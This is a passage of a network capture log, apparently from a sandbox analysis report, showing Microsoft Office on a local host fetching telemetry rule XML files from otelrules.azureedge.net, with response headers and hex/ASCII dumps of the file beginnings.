2024-10-31 08:07:24 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:24 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080724Z-16849878b78z2wx67pvzz63kdg00000007v0000000008ed2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:24 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:24 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:24 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: bcc294ee-b01e-0002-0318-2b1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080724Z-15b8d89586fhl2qtatrz3vfkf00000000fp0000000002wgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:24 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:24 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:24 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080724Z-16849878b78q9m8bqvwuva4svc00000007p000000000frup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:24 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:24 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:24 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:24 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 335320d3-001e-000b-4596-2a15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080724Z-16849878b785dznd7xpawq9gcn0000000aqg00000000304z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:24 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:24 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:24 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: fe72e82f-401e-008c-6e5e-2786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080724Z-17c5cb586f69w69mgazyf263an00000008d000000000ea64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:25 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:25 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:25 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 69a14025-c01e-000b-6685-2ae255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080725Z-17c5cb586f672xmrz843mf85fn0000000870000000004ghr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:25 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:25 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:25 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080725Z-16849878b78p49s6zkwt11bbkn00000008vg00000000be5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:25 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:25 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:25 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8964bec7-001e-005a-3570-2ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080725Z-17c5cb586f6ks725u50g36qts8000000018g00000000a9va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:25 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:25 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:25 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080725Z-16849878b78p8hrf1se7fucxk80000000a30000000009xpu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:25 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:25 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:25 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080725Z-17c5cb586f6z6tq2xr35mhd5x000000001ug000000007ebt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:25 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:25 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-16849878b7867ttgfbpnfxt44s00000008zg00000000m9rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:26 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:26 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:26 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:26 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d8669f86-801e-0083-53a9-29f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080726Z-17c5cb586f67hfgj2durhqcxk8000000085g0000000082bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
